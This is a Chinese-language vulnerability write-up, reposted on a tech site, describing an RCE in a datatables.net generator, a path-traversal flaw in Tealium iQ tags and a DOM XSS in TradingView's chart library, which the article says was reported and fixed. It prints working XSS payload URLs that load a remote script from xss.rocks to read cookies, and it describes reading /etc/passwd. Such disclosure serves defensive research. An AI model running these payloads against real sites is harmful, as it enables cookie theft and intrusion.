安基網 首頁 資訊 安全報 查看內容

影響數千網站的第三方JavaScript庫文件漏洞分析

2019-6-26 12:01| 投稿: xiaotiger |來自: 互聯網


免責聲明:本站系公益性非盈利IT技術普及網,本文由投稿者轉載自互聯網的公開文章,文末均已注明出處,其內容和圖片版權歸原網站或作者所有,文中所述不代表本站觀點,若有無意侵權或轉載不當之處請從網站右下角聯系我們處理,謝謝合作!

摘要: 很多網站都會使用第三方特定JavaScript庫的方式來增強網站的顯示應用功能,通常情況下,這種嵌入到網站中的庫可以方便直接地從第三方服務提供商的域中加載,實現對當前網站 ...

*本文中涉及到的相關漏洞已報送廠商并得到修復,本文僅限技術研究與討論,嚴禁用于非法用途,否則產生的一切后果自行承擔

當前,很多網站都會使用第三方特定JavaScript庫的方式來增強網站的顯示應用功能,通常情況下,這種嵌入到網站中的庫可以方便直接地從第三方服務提供商的域中加載,實現對當前網站的優化和功能增強。然而,這種嵌入到很多網站中的第三方庫往往會是一個致命的攻擊面,可以導致嵌入網站更容易遭受一些潛在攻擊。

本文披露了當前流行的第三方JavaScript庫中的三個漏洞,鑒于這三個漏洞的嚴重性,可能會對嵌入這些流行庫的數千家機構網站造成影響。

示例1 :datatables.net中的遠程代碼執行漏洞(RCE)

Datatables.net是一個專門提供表格HTML顯示的免費庫網站,其官網聲稱只要在你的網站中嵌入一個存儲在cdn.datatables.net的.js或.css文件,就能實現表格HTML化顯示。

也就是說,如果大量的互聯網網站嵌入了這個存儲在cdn.datatables.net的.js或.css文件作為網站資源庫,那么,只要這兩個資源庫文件存在漏洞,那么相應的引用嵌入網站也就可能受到影響了。

以下面這個澳大利亞政府網站為例,它在其中就嵌入引用了存儲在cdn.datatables.net的.js庫文件- jquery.dataTables.min.js:

當瀏覽datatables.net官網服務后可知,其中的js庫文件會向遠端應用https://editor.datatables.net/generator/發起請求,這個遠端應用會在后臺生成并測試一些需要顯示的HTML表格。每次請求生成一個新表格之后,相應地也會生成并返回給目標網站一個php文件。我們利用.datatables.net這種生成php文件的過濾漏洞,可以在其中寫入某些參數,實現一定程度的RCE攻擊,例如,我們可在下述php創建機制的紅框內寫入RCE Payload:

在$_GET(1)中,把1換為cat /etc/passwd,看看會發生什么:

就這樣,datatables.net中的密碼文件/etc/passwd就被直接讀取出來了,另外,經驗證,可利用該漏洞讀取 cdn.datatables.net上其它敏感文件。這種第三方庫提供商的RCE加文件讀取的漏洞讓人浮想聯翩,當然,嵌入這些庫文件的大量網站,其受影響程度也想想都后怕了。

漏洞示例2:Tealium iQ上的路徑遍歷漏洞(Path Traversal)

Tealium iQ公司提供的智能標簽管理解決方案,專門對數據標簽進行有效管理,只要一個Tealitma IQ標簽,就可取代網站上所有商家的標簽,實現對營銷解決方案的在線控制。如以下Uber網站就引用嵌入了Tealium iQ的標簽服務:

該服務會去請求一個名為tags.tiqcdn.com的Tealium iQ .js庫文件:

https://tags.tiqcdn.com/utag///prod/utag.js

這里存在的漏洞是,Tealium iQ標簽服務對網站輸入的配置文件名(Profile Name)數據處理不當,問題在于,Tealium iQ遠端服務允許 / 和 . 兩種特殊字符在Profile Name中存在。

可以利用這兩種字符來操控那些加載配置文件的目錄,例如,如果配置文件名稱中有../../utag/uber/main,那么,其相應的js代碼就會向上傳到tags.tiqcdn.com中形成https://tags.tiqcdn.com/utag/uber/main/prod/utag.js這樣,它將被嵌入到任何利用Tealium iQ的Uber網站頁面中。

該漏洞已在Uber漏洞眾測項目和其它Bug賞金平臺提交上報過,在此,我編寫了以下簡單的代碼,通過它可以更改任意tags.tiqcdn.com上的js文件,實現對tags.tiqcdn.com的目錄遍歷。

該漏洞可能會對Uber、Microsoft、Cisco和Inte的大多數網站造成影響。

漏洞示例3:TradingView圖表庫中的DOM Based XSS漏洞

TradingView提供專門的流行圖表繪制顯示服務,在金融和加密貨幣交易平臺應用相較廣泛,可以說,大多的加密貨幣交易平臺都使用了它提供的圖表服務庫顯示了在線交易信息。然而,2018年9月24日,名為Victor Zhu的安全研究人員發現了TradingView的一個高危DOM Based XSS漏洞,所有引用嵌入其庫文件的加密貨幣網站都受到影響。

任何引用嵌入TradingView庫文件的網站中都會存在一個可被公開訪問的,樣式為tv-chart.html的文件,這個html文件通過location.hash參數來初始化交易圖表,圖表初始化完成之后,指向以下類型頁面的iframe鏈接將被加載到網站頁面上:

https://example.com/tradingview/en-tv-chart.x.html#symbol=BTC_ETH&interval=180&widgetbar=%7B%22details%22%3Afalse%2C%22watchlist%22%3Afalse%2C%22watchlist_settings%22%3A%7B%22default_symbols%22%3A%5B%5D%7D%7D&drawingsAccess=%7B%22type%22%3A%22black%22%7D&locale=en&uid=tradingview_36472&clientId=tradingview.com&userId=public_user&chartsStorageVer=1.0&debug=false&timezone=Asia%2FTaipei&theme=Dark

漏洞就在于,TradingView庫文件的一個第三方圖表加載函數中,該函數從目標網站輸入的indicatorsFileparameter中獲取一個鏈接,并傳輸到了$.getScript()中:

D ? $.getScript(urlParams.indicatorsFile).done(function() {…})

那么,可以在其中的獲取鏈接上做文章,在其中注入遠程js文件,實現惡意目的,如:

https://example.com/tradingview/en-tv-chart.x.html#disabledFeatures=[]&enabledFeatures=[]&indicatorsFile=//xss.rocks/xss.js

當用戶訪問了這條鏈接之后,遠程的xss.rocks/xss.js就會加載運行讀取用戶Cookie:

當該漏洞被披露后,TradingView釋放了一個新版本的庫文件進行替代修復,其中之前負責加載第三方圖表的函數被做了修改替換,修改后的函數如下:

但是,這種修復方法依然存在漏洞,在添加uid=urlParams參數時,可以使用thecustomIndicatorsUrl參數復現之前出現的漏洞,構造的最終Payload如下:

https://example.com/tradingview/en-tv-chart.x.html#disabledFeatures=[]&enabledFeatures=[]&customIndicatorsUrl=//xss.rocks/xss.js&uid=urlParams

之后,TradingView再次對庫文件進行了修復,終于完全堵塞了漏洞。但是,一些加密貨幣交易平臺仍然在用存在漏洞的庫文件版本,經對當前所有的加密貨幣交易平臺進行了測試后發現,包括CoinMarketCap和一些交易量較大的90多家平臺仍然存在TradingView庫文件的上述Dom Based XSS漏洞,TradingView對這些平臺進行了及時告知,但卻:

46家交易平臺選擇忽視該漏洞通報;

44家交易平臺進行了回復并詢問了詳細技術細節;

19家交易平臺最終修復了該漏洞;

7家交易平臺建議對該漏洞給予獎勵。

總結

作為安全人員來說,當測試Web應用安全性時,應該把其中使用的第三方產品或程序考慮在內,它們同樣至關重要;作為網站運營方來說,要慎重使用嵌入引用的第三方庫文件。

*參考來源:dmsec,clouds編譯,轉載自FreeBuf.COM



小編推薦:欲學習電腦技術、系統維護、網絡管理、編程開發和安全攻防等高端IT技術,請 點擊這里 注冊賬號,公開課頻道價值萬元IT培訓教程免費學,讓您少走彎路、事半功倍,好工作升職加薪!

本文出自:https://www.toutiao.com/i6706334980810736139/

免責聲明:本站系公益性非盈利IT技術普及網,本文由投稿者轉載自互聯網的公開文章,文末均已注明出處,其內容和圖片版權歸原網站或作者所有,文中所述不代表本站觀點,若有無意侵權或轉載不當之處請從網站右下角聯系我們處理,謝謝合作!


鮮花

握手

雷人
1

路過

雞蛋

剛表態過的朋友 (1 人)

相關閱讀

最新評論

 最新
返回頂部
湖北快3 购买技巧